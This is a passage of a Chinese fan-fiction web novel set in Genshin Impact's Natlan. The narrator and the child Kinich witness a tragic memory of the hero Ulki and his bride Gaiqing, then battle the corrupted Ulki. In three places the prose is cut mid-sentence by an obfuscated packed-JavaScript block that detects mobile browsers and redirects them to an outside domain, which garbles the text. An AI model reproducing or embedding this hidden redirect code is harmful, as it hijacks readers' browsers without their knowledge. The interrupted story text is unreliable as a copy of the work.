“那我们先回去吃席咯,”一个身穿蓝色衣服的青年拍了拍乌尔基的肩膀,半开玩笑道,“你们快点,别让我们流泉之众的骄傲等急了。” 一行人浩浩荡荡地朝部落里去了。 首领望着他们远去的身影,似乎有话要说,却讲不出来。 我和基尼奇凑近了一点,方便听清楚这两个人的谈话。 “地脉被污染了,”乌尔基率先开口,“我能感觉得到。” “确实如此,”首领皱紧了眉头,“几十年前也有过这样的事,每次深渊污染地脉,都要从神灵眼底瞒天过海,对它自己的力量也损害巨大。” “深渊为何要做出这样的事情?” “你还年轻,”首领叹息道,“这种藏在背面的袭击往往危害更为深重。地脉承载着纳塔的历史和文化,深渊污染了地脉,就相当于污染了全体纳塔人的共同记忆,污染了纳塔的血液和灵魂。” “之后,每当有人想起被污染的这段记忆,深渊力量都会趁机入侵人体,造成不可逆转的侵蚀。” 乌尔基怔了片刻,似懂非懂道:“……那有什么解决办法吗?” 首领深深地看了乌尔基一眼:“你应该猜得到我留下你的原因。” “解决办法,与我有关?” “你应该听说过一句话,”首领顿了顿,“继承[回火]之人,大多死于非命。” 乌尔基沉默下来。 首领闭了闭眼:“回火能灼烧世界上所有污秽之物,上一次纳塔地脉被污染的时候,上一任回火之人,以身为祭,烧尽了所有深渊污染。” “乌尔基。” “一切选择权在你,无论你怎么选择,你都是悬木人的英雄。” 这下轮到我和基尼奇惊讶了。我们在夜神之国中见到的乌尔基是深渊魔物,本以为他不会说实话,没想到他告诉我们的都是真的。 乌尔基确实以身为祭,拯救了悬木人乃至整个纳塔。 难道我们见到的乌尔基是双重人格,一个人格是正常人,另一个人格受深渊污染变成了魔物?盖青之所以与乌尔基不相见也是因为这个原因? 回忆中,乌尔基尚且年轻,他只是沉默了片刻,便沙哑着声音说:“请允许我与新妇告别。” 首领似乎也不知道该说些什么话,只是拍了拍乌尔基的肩膀。 乌尔基抬起头,朝人声鼎沸的婚房走去。 “所行一切,火必将审问。” 眼前的画面突然扭曲,夜晚变成了白天。 我看见缠满红绸的婚房里宾客散去,归于沉寂。 “你不必多言,除非拿出证据,否则我不会轻易听信一个陌生人的话。” 是盖青? 我正想往婚房里走,却发现自己被一抹无形的光幕挡住了。 “这什么东西?” “记忆无法清晰访问?”基尼奇伸出手碰了一下,光幕荡起涟漪,但仍然密不透风,“居然还有夜神大人无法窥探的记忆。” 他想了想,说道:“纳塔的全部记忆都会归入地脉,而夜神与地脉同体,如果记忆无法纳入,只能说明一件事情——里面跟盖青对话的人并非纳塔人,而且力量匹敌甚至强过神明。” 这游戏还有这种存在吗?莫非是深渊? 没有办法进入,我们只能听见盖青和另一个人的对话,看不见神秘人究竟是谁。 刚才那句话后,过了好一会儿,盖青才说道:“你说他不入轮回?你怎么证明你的话?” 神秘人终于缓缓开口:“继承[回火]之人死于非命,可不仅仅是以身为祭这么简单——真正的折磨,是主动为全纳塔吸收污染的英雄,却不被夜神接纳,永远流浪于亡灵之国。这些弊端,想必部族长老并未向你讲明,你也看到他们遮遮掩掩的态度了。” “如果你还不信,此物你可认识?” 神秘人的声音很奇怪,雌雄莫辨,像是机械音。 屋内的两人似乎确认了什么东西。 盖青显然很激动:“这种元素力的感觉……他的心脏怎么会在你手里!” “先别急,流泉之众的小姑娘。作为流泉之众惊才绝艳的一辈,你应该能感受到,这颗心脏所联通的身体,已经被深渊污染了。” 听到这句话,盖青似乎很崩溃,嗓音都哑了:“……确实如此,居然……” “也不用怀疑我,你也能感受到我身上没有深渊气息。你要知道,我取出他的心脏,是为他着想。” “……何出此言?” “若非我在祭祀之时,悄悄拿走了那个小伙子的心脏,眼下恐怕他已经全身上下皆被深渊污染,再无补救可能。留下这颗干净纯粹的心脏,是为了等待唤醒的机会。” “唤醒的机会?你的意思是……” “没错,我们需要一个人前往夜神之国。深渊污染下的他,已经忘却了全部记忆,而你,作为他的新婚妻子,必然承载了许多美好的回忆,由你来为他灌注记忆,最合适不过。等到你为他重新注入记忆,我便会把这颗干净的心脏归还给他,最终的净化目的便能达成。” 盖青被说动了。我能感觉到,她对神秘人的话已经半信半疑了。 “……为什么要帮我们?” “呵,”神秘人冷笑一声,“因为我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14982091|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满于本该接受鲜花与掌声的英雄受此折磨。最重要的是——我的恋人,上一位继承[回火]之人,也遭此际遇,已无补救可能,我不想再让这种遗憾发生。” 屋内陷入沉默。 半晌,盖青道:“夜神之国会消磨来者的记忆,而且灵魂完整的话,很快就会被夜神大人送入轮回,你有应对之策吗?” “当然,万事俱备,”神秘人的话如同伊甸园的蛊惑毒蛇,“只需要你割下灵魂的一部分,夜神便不会接纳你,你忘却的速度也会变慢。” “割掉什么部分?” “你的头颅,效果最好。放心,不会影响视线。” “我还需要向部落报备——” “小姑娘,都什么时候了,怎么还如此天真,”神秘人冷笑,“你拆穿他们的遮羞布,你以为他们会让你如愿?你丈夫等不等得到那个时候暂且不论,只有我,才能帮助你进入夜神之国。你还要犹豫吗?” “好……” 我暗自咂舌。 在外人看来,这一来一回的对话显然是神秘人的一套陷阱,但当事人心急,又年轻,顾全不了那么多。 基尼奇似乎也发现了这是一场彻头彻尾的骗局:“割掉灵魂的心脏才导致不入轮回,[回火]是烧掉污秽,并非吸收污秽——乌尔基身上根本没有深渊污染,本来是可以入轮回的。” “这个神秘人好恶心,”我点了点头,“一箭双雕,阴险狡诈。他费这么大力,算计这两人有什么目的?” 基尼奇想了想,说:“应该是为了污染夜神之国,两个拥有神之眼的魔物,想必破坏力巨大。” 我看向眼前流转的画面:“这个人就是深渊的化身。” 深渊对悬木人的袭击,并未止于战场上英雄们的胜利,也未止于乌尔基以身为祭净化被污染的记忆。它真正的招数,是利用这对恋人的感情,达成污染夜神之国的目的。 最后一个画面播放速度极快,像是外界出了什么问题。 记忆中的夜神之国里,事情的发展果然一路朝着最糟的情况前进。 盖青主动将自身灵魂的头颅交给了神秘人,悄悄只身前往夜神之国。失去头颅后,她很快就忘了大多数的记忆,这个时候,她才发现自己陷入了陷阱。为了防止自己忘却本来的目的,她日复一日地在黑曜石崖壁上刻下爱人的名字。 乌尔基那边,神秘人把盖青的头颅做成了心脏,填补他胸腔内缺失的那一部分。乌尔基本来陷入沉睡的纯净身体,因为缺失心脏而不入轮回,又被神秘人污染而沦为怪物。盖青的心脏具有纯净的水元素力,本身就与深渊的元素力互斥,这颗心脏的介入,更是让乌尔基苏醒,在双重形态的跳跃中,百年不得安宁。 而且,深渊神秘人似乎还用了某种手段,让这两个人无法相见,连留下的痕迹都彻底错开。 画面终于归于空白。 “记忆应该就是这些了,”基尼奇看向我,“外面好像出了什么变故。” 最后一幕记忆的播放确实很赶,像开了倍速。 我点点头:“那我们赶紧出去吧。” 再度睁开眼时,眼前的场景已经大变样。 夜神的祭台不知道为什么忽然升入了冰原地面,我们重新暴露在压抑低沉的天幕下。而我们的周围,紫黑色的深渊雾气前所未有地浓郁。 雾气的尽头,彻底异化的乌尔基正一动不动地盯着我们。 30. Chapter28 这么大一坨怪物杵在那里,有点瘆人。 夜神的力量似乎还在起作用。我们虽然暴露在深渊力量之下,但仍有一层薄薄的光幕把紫黑色的雾气与我们隔开。 基尼奇将我从祭坛的冰凉地面上拉起来,随即朝光幕问道:“这是怎么了?” “抱歉,由于百年来受不断强化的深渊污染影响,我的力量已经大不如前,无法再维持最初的平衡,”夜神语气忧郁,“你们是百年来第一批外来者,看样子,深渊发现了你们与盖青的契约,正准备斩草除根。” “你们所进入的这一部分夜神之国,并非全貌,而是我在数百年前,察觉到深渊阴谋后割裂出来的孤岛。数年前,火神曾经察觉到了这种异状,但我尚在沉睡,她又忙于整片夜神之国和纳塔全境的监控,这件事情便搁置了下来。但此间孤岛,亦承载了悬木人的历史、荣耀与记忆,意义非凡。” “这一片祭坛便是整片孤岛的隐藏核心。深渊已经等不及了,它抽取了乌尔基身体里积攒了几百年的力量,将这片庇护之地彻底暴露出来。” “接下来,我们可能要面临无穷无尽魔物的追击。” 这位纳塔的地下神明用的是“我们”。 基尼奇也敏锐地觉察到了夜神的用词:“您也要亲自参与抗击吗?” “我会参与,但并非抗击,”夜神的声音缥缈亘远,一时让我觉得有些熟悉,“刚才我已说明,我的力量已经大不如前,单凭我与你们,无法消灭这些无穷无尽的魔物。” “危机的关键,在于你,基尼奇。” 我和基尼奇都愣住了。 总感觉这句话在哪听过——好像是……对,回忆里,首领对乌尔基似乎也是这么说的。 我猛地看向基尼奇。 我这才注意到他身上的绿光从未消失过。 夜神解释道:“在你们昏睡的时候,我感觉到一股非常强大的力量隐藏在基尼奇的体内,我非常惊讶,因为那是前世遗留下来的力量,足以改变现在情况的力量。” 我有种不太好的预感:“是什么力量?” “是[回火]的传承。” 果然。 我瞬间就明白了夜神的意思。 “不行,他才七岁,”我下意识反驳道,“不能因为这个就牺牲他往后的生命——还有别的办法吗?” 说完我才后知后觉自己有点无理取闹。对一个神明来说,一个人的生命和整个悬木人记忆灵魂的渡口,孰轻孰重,一目了然。 我们并没有拒绝的资格。 夜神只是淡淡地笑了一声,似乎在调侃:“伊迷,你理解错了。我并非要牺牲基尼奇,而是要牺牲基尼奇体内遗留下来的回火。” 哦,不早说。 我察觉到基尼奇正在瞅着我。 我别开眼,没看他:“啊,那该怎么操作?” “我会亲自取出回火,烧尽天地间所有污秽,”夜神似乎精气神好了些,罕见地露出杀伐果断的一面,“但期间,基尼奇会处于昏迷状态,我也会无暇外顾,所以我们需要处于绝对安全的环境中。” 听起来还算可行,我跃跃欲试:“我呢?我需要保护你们吗?” “这是之后的事情,”夜神回答道,“在此之前,你还有另一件事做。” 我看见基尼奇皱了皱眉,似乎欲言又止。 夜神的声音先一步传出:“你需要去取出盖青的头颅,完成你们的契约,否则,即使战胜了深渊的伎俩,你们仍然无法脱困。” 哦,忘了还有这一茬了。 “可是我打不过他啊。”我老实道。 战斗系统未解锁的小屁孩,拿什么跟本来就是出色战士、现在更是成了出色魔物的乌尔基打? 夜神的声音从半空中传来:“此刻,是深渊的机会,亦是我们的机会。” “深渊抽走了乌尔基体内的力量,这也就意味着,这是他最虚弱的时刻。” 我瞥了一眼仍在盯着我们的乌尔基。 怪不得一直蹲在那里,没有什么大动作,原来是没蓝了。 “由我借予你力量,凭借你的能力,克服它,不是难题。” 夜神对我不知道是哪来的自信。 但我考虑了一下,觉得这是唯一可行的方案。来到游戏以来,我都在为各种困境做准备,眼下已经再无退路,还不如孤注一掷,试试夜神的办法。 我正要张口答应,基尼奇却突然上前,轻轻地抱了我一下。 “……搞什么。”我被突如其来的拥抱弄得有些懵。 他的身上尚且带着未散尽的血腥味,血腥之后,是他身上那种干净冷淡的味道。 每次闻到这种味道,我都会莫名安心。 他看着我,苍绿色的眼眸非常认真:“伊迷,万事小心。” “这么隆重,”我有些难为情,“你还是担心下自己吧,一会儿别疼得哭出来。” 基尼奇握了握我的手,然后松开:“夜神大人,我身上盖青的元素力,可以转移到他的身上吗?” “当然可以,你们本就是契约的一体,”空间中的元素力开始围绕着我旋转,“伊迷,准备好,借用神的力量,亦非易事。” 我点了点头:“来吧。” 在游戏里也能当上神——虽然是削弱版的,也算一种独特的体验了。 我忽然感觉到自己的身体似乎变作了一个庞大的海洋,整个世界的感知都为我所用,七彩的元素力碰撞融合,最终变成莹白色的光点河流,注入我的体内。 [系统提示:检测到外力介入,玩家已暂时解锁战斗系统。] [系统提示:玩家目前战斗力等级:未知;所属元素力:未知;技能:未知。] [系统提示:恭喜玩家获得“夜神赐福”buff,持续时间一个小时。] 一连串的系统提示音跳出,我才发现借力已经完成。 说实话,有点小兴奋。 玩到现在,总算是让我找回了点玩游戏的感觉。 战斗战斗! 不过在此之前,我需要把达尔的护身符箓取下来,以免会影响到他的巡夜者战争。 我希望我们都能活着见面。 我取下符箓,交给了基尼奇:“帮我保管一下——那我速战速决。” 我回握基尼奇的手,两朵黑色玫瑰印记交叠,我能感受到他的体温。 “切勿轻敌,”夜神提醒道,“我的力量已受削弱,深渊千百年来的力量不断大涨,眼下不知虚实。不必击败魔物,只需取回心脏。” 我点了点头,朝雾气深处赶去。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14982092|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在乌尔基血红色眼睛的注视下,我深吸一口气,缓缓踏出夜神的庇护光幕,踏入那片弥漫着深渊黑雾的冰原。 外面突然下起了大雪。纯白色的雪花落入紫黑色的雾气中,迅速被烧焦融化。 [系统警告:检测到危险,请尽快远离。] 咦。 不知道为什么,总感觉自从来到夜神之国后,系统似乎正常多了,提示和警告也变多了。 这是个好兆头,说明系统快要恢复正常了。 我敛下心思,谨慎地环视了一圈,手里尚且紧握着达尔送的短剑。 四周都是紫黑色飘散的雾气,如有实质。空气和光线仿佛都被黑暗吞噬,人置身其中,连呼吸似乎都变得沉重压抑起来。 这便是纳塔一直以来面对的敌人吗? 刚才还看得见身影的乌尔基,在我踏入这片土地后,似乎就消失了。 “别躲了,赶紧出来,”我挑衅道,“我们早晚都会有一战。” 趁现在他还虚弱——这是我最好的机会。 突然,一阵低沉而阴森的笑声在我的耳边响起:“愚蠢的后辈,你以为你能战胜我?” 我猛地回头,将手中的剑刺了过去。 利刃划破空气的声音响起,火元素力四溅,但我并没有刺中任何物体。 果然,如夜神所说,乌尔基即便虚弱,在深渊的加持下,还是难以对付。 “即便我的力量受损,”充满恶意的声音从四面八方传来,“你也不是我的对手。” 我想办法转移他的注意力,想要找到他的破绽:“你究竟是乌尔基,还是深渊?” “乌尔基?那家伙早就死了吧,”乌尔基自大地说道,“多亏了他的懦弱,我才得以从他体内苏醒。” “懦弱?他可是悬木人的英雄。” “呵,伟大的英雄!目睹妻子的惨状后,还不是沦落至自暴自弃,连身体都放弃!” 这么说,乌尔基应该还活着。 我觉得这个可以成为一个突破点。 黑暗中,乌尔基的身影渐渐浮现,他的眼睛如同幽森的火焰,散发着邪恶的光芒。无数紫黑色的手臂交缠在一起,雾气缭绕。 真丑。 不能再等了,我感觉到他的力量越来越强了。 我紧紧握住手中的短剑,开始凝聚力量。 夜神的力量缠绕着朱金色的剑面,莹白色的光芒缓缓汇入剑尖的火元素力,火焰骤然爆发出极为浓烈的灼烧感,我能清晰地感受到这一击的力量。 基尼奇还在等我。 希望这一击……能够成功。 我朝乌尔基冲了过去,用尽全力地猛地一砍。 乌尔基看起来很是狂妄,他并没有躲,发出一声怒吼,挥动着巨大的手臂向我袭来。 两股力量极速碰撞在一起,无差别地散发着能量,我几乎瞬间就被掀飞了出去。 这是我进入游戏以来受到的最严重的伤,我几乎感觉到死亡就在眼前。 [系统警告:玩家受到“沦落的英雄”、“地下的神明”攻击,弱小的凡人之躯怎能抵御神明力量的冲击和恶魔的觊觎?] [系统警告:生命值扣除49,请玩家尽快远离危险。] 我的生命值,应该只有一格了。 31. Chapter29 我意识模糊了一瞬。 剧烈的失重感后,我感觉到自己的后背狠狠撞上了坚硬寒冷的黑曜石,连呼吸中都带上了浓郁的血腥味,牵动着五脏六腑都开始绞痛。 我咳了口血,有些庆幸自己取下了达尔的护身符箓,要不然这种程度的伤害,要是猝然转移过去的话,对战场上的他来说,还是比较致命的吧。 朦胧的视线中,我看到已经倒地的乌尔基重新缓缓站了起来,周围的黑雾如淤泥般涌动聚合,源源不断地注入他的身体之中。 他应该也受了很重的伤,但是深渊的无穷力量很快就让他恢复过来。 在深渊的黑雾里战胜魔物,就像是在海里追鱼。何况我虽有神明祝福,这具躯体却非常幼弱,在这种情况下,击败这个百年魔物,几乎就是无解。 要在这里被他杀掉吗? 玩家直接死亡的话,可能现实中就再也不会醒来了。玩游戏玩成这样,也真有我的。 不过醒不来似乎也没什么大不了的,实际上也并没有什么人在乎我是死是活。现实有什么值得我眷恋的呢,是空荡荡的独身公寓,虚伪的父母,还是陌生的同学老师? 还不如……就这样吧。 纯白的雪还在雾里飘荡。 冰冷的温度逐渐染上了我的全身,伤口上滚烫的血也渐渐凉了下来。 我听见液体滴在冰原上腐蚀冰雪发出的“滋滋”声,大概是对面的庞然大物在逐渐朝我靠近。 “小鬼,在如此年轻的时候就能发挥出如此惊人的力量,真是令人羡慕,”乌尔基阴鸷的声音越来越清晰,“可惜,你没有成长的机会了。” 他的巨爪猛地伸长,狠狠攫住我的喉咙,将我提起来,按在黑曜石崖壁上。 窒息感一寸一寸传来。 我的眼前似乎出现了无数走马灯。冷漠的父母,冰冷的公寓,闪着诡谲光芒的游戏舱,然后是纳塔丛林中跳跃的匿叶龙,达尔毫无阴霾的笑容,最后是基尼奇带着血腥气息的拥抱。 ……对,基尼奇。 我死了的话,他应该会很难受吧。虽然我早晚会离开,但我还没为他安排好所有事情。他的家庭,他的成长,他的新朋友……这些都还没着落。 我不想他再这样孤独痛苦地长大。我不想他长成之前我在记忆碎片中见到的那个剪影。即使他只是个游戏角色,我也希望他是个快乐自由的游戏角色。 不行。 不能就这样死掉。 怎么办? 对,乌尔基的本体还存活着,那么—— “喂……看,这……” 我拼尽全力挤开他的巨爪,从扭曲的喉咙中吐出破碎的几句话。 “嗯?居然还活着吗?” 我终于等到乌尔基浑浊的目光扫过来的一刻。 手中的黑色玫瑰花印记倏地绽放,荆棘长叶刺穿了我的掌心,一路延伸至我正拼命挣扎的手臂。 [系统提示:玩家与boss关联人物的契约已彻底激活。] 之前基尼奇给我的水元素力和我体内的一份彻底融合,独属于盖青的完整元素力猛地迸发。 那种蜜果花香的柔软味道在杀戮丛生的深渊黑雾中缓缓蔓延。 我察觉到颈上的力气一滞,随即放松下来。 “盖青!盖青是你吗!我在这儿!” 乌尔基怔神,随即身形一颤,开始发疯般乱喊。 黑雾随着乌尔基的情绪失控而迅速暴走,击碎了我脚下的冰原地面。 我立刻挣脱乌尔基的禁锢,闪身躲避地面上的冲击,旋即用尽全力挥动短剑,释放出一道火焰剑气。 元素力构成的火焰如同一条长虹巨龙,势如破竹,直冲乌尔基面首而去。 如果这一击在他毫无防御的情况下能打中的话,这一场战斗就算是结束了。 然而,正处于疯癫状态下的乌尔基却突然歪了歪头,又恢复了那副怪物模样。他只是冷嗤一声,身体周围的深渊力量瞬间凝聚成一扇黑翼,轻易地抵挡住了漫天火焰。 “天真的小孩,你以为这些小把戏能伤到我?”乌尔基的声音中满是不屑,“我已经说过了,乌尔基如此懦弱,百年前就不敢与我争夺身体。你将希望寄托于激发他的斗志,太过愚蠢。” “是吗?” 我不相信纳塔的勇士会轻易倒下。 乌尔基应该尚处于沉睡之中。只不过,从刚才的表现来看,他已经开始慢慢醒来了。我只需要再度挑动乌尔基和怪物对身体的争夺,便可以制造机会。 我休息了片刻,便迅速调整策略,将元素力凝聚在手上,形成一个巨大的水元素球。 水是最温柔的事物,也是最容易唤起情感的事物。最重要的是,我手中的水元素力,是盖青的力量。 我将水元素球缓缓推向乌尔基,收敛了所有杀意和进攻性。 乌尔基冷哼一声,迅速甩出利爪,撕裂了这团柔软的水球。 他的动作很快,然而我还是观察到,在触碰水元素力的一刹那,他有些瑟缩,似乎内心正在挣扎。 ——这个方案可行。 正当我忍着身体里的剧痛,准备再度凝成水球时,雾气中却忽然传来一声渺远的呼喊。 “乌尔基,停手吧。” 女声温柔而忧郁,跨越百年的苦辛,直达耳畔。 是盖青的声音。 她不是被神秘人下咒了吗?按理说,她是不能与乌尔基相见的。 我有些疑惑,但手上的动作却没停。 乌尔基很显然被吸引了注意力。他轻声呢喃着什么,眼神中露出一丝恍惚,开始变得柔和,身体也不再挣扎。 就是现在。 我抓住这个机会,重新握紧短剑,淬炼出体内最后仅剩的元素力,凝成火刃。趁乌尔基尚在沉默,我扬起剑锋,刺进了他的胸膛。 猛烈的火元素力瞬息点燃了他体内的雾气,随即开始沿着他胸膛前已被污染的燃素刻录纹燃烧。 火光照亮了这一方天地。 乌尔基发出一声痛苦的哀嚎,身体逐渐开始瓦解,一条条紫黑色的雾气手臂坠落在地。 赢了。 我拔出剑,再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14982093|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法站立,只得用短剑撑着地面,半跪着注视着这位悲剧英雄的消亡。 漫天暴雪仍在继续。 水濛濛的雾气中,身披婚服的少女走了过来,身形逐渐显现。 她显然不同于之前的形态了,由最初莹白色的灵魂形态变成了完整的肉身形态,好像还恢复了记忆。 我强撑着架子,咽下喉咙里的血,警惕地问她:“你怎么突破禁锢的?” “深渊以夜神之国的规则为我下咒,让我和他无法相见,”盖青蹲下身来,指尖抚过怪物胸前的熊熊火焰,似乎没感觉到疼一样,“但只要我再不入轮回,一切便形同虚设了吧。” 以不入轮回从根本上破坏深渊的规则吗? 我抬眸看她:“为什么?等待契约完成以后,你本来可以再入轮回。” 虽然我已经找到了乌尔基的弱点,但没有她的帮助,我显然还要冒着生命危险再耗一段时间。等我拿回头颅,为了完成契约,势必会给她带去。等待她的灵魂完整,深渊已除,她就可以被夜神接纳。 她应该没有立场做这种自毁的事。无论是从我的敌人是她的丈夫来看,还是从她自身的利弊衡量来看。 火焰烧尽,乌尔基显现出了人形。他已经彻底死了,头发和脸庞上的冰霜簌簌脱落,露出底下被深渊腐蚀遮盖的年轻面庞。 在死亡之后,他终于再一次露出了那种青涩的笑容,像是重回到了结婚之日,重新成为了那个莽撞而光荣的青年英雄。 “抱歉,契约之事,是我连累你们了,”盖青捧起乌尔基的头颅,拂去上面的雪,“身为部族英雄,却乘人之危。你问我帮助你的原因的话——大概是想无聊地补偿,顺便拯救一下我早已崩塌的英雄形象。” 她朝我露出一个笑。 她似乎一开始就推算到了这种发展,而且在忘却记忆的情况下还能完成布局,不得不说,真是个聪明得可怕的女人。 [系统提示:玩家与boss关联人物的契约已经交易成功,负面状态解除。] [系统提示:玩家“夜神赐福”buff即将结束,战斗系统将封禁。] 盖青看向我:“悬木人的小英雄,我送你回去吧。” 我手上的黑色玫瑰印记已经消失了,无法再使用盖青的力量,夜神的力量也已竭尽,单靠我自己,说不定还真没办法回到祭坛上。 我呼出一口气,朝她颔首致谢:“虽说你之后的行为的确有不当,但放心,从整体功绩上来看,你们依旧是悬木人对抗深渊的英雄——包括乌尔基。” 一切恶意都起源于深渊。说到底,他们也只是被利用的悲剧棋子。 温软的水元素力托起我,阻隔了外界的深渊雾气,开始缓缓朝祭坛的方向移动。 “……谢谢。”盖青喃喃。 我撑着短剑,抹掉了脸上的血迹,注视着他们最终的结局。 视野的尽头,铺天盖地的大雪混合着紫黑色的雾气,将两人的身形衬得分外渺小。黑白与静谧之中,身着火红色婚服的人相互依偎,如同弥补了百年前那场无疾而终婚礼的缺憾。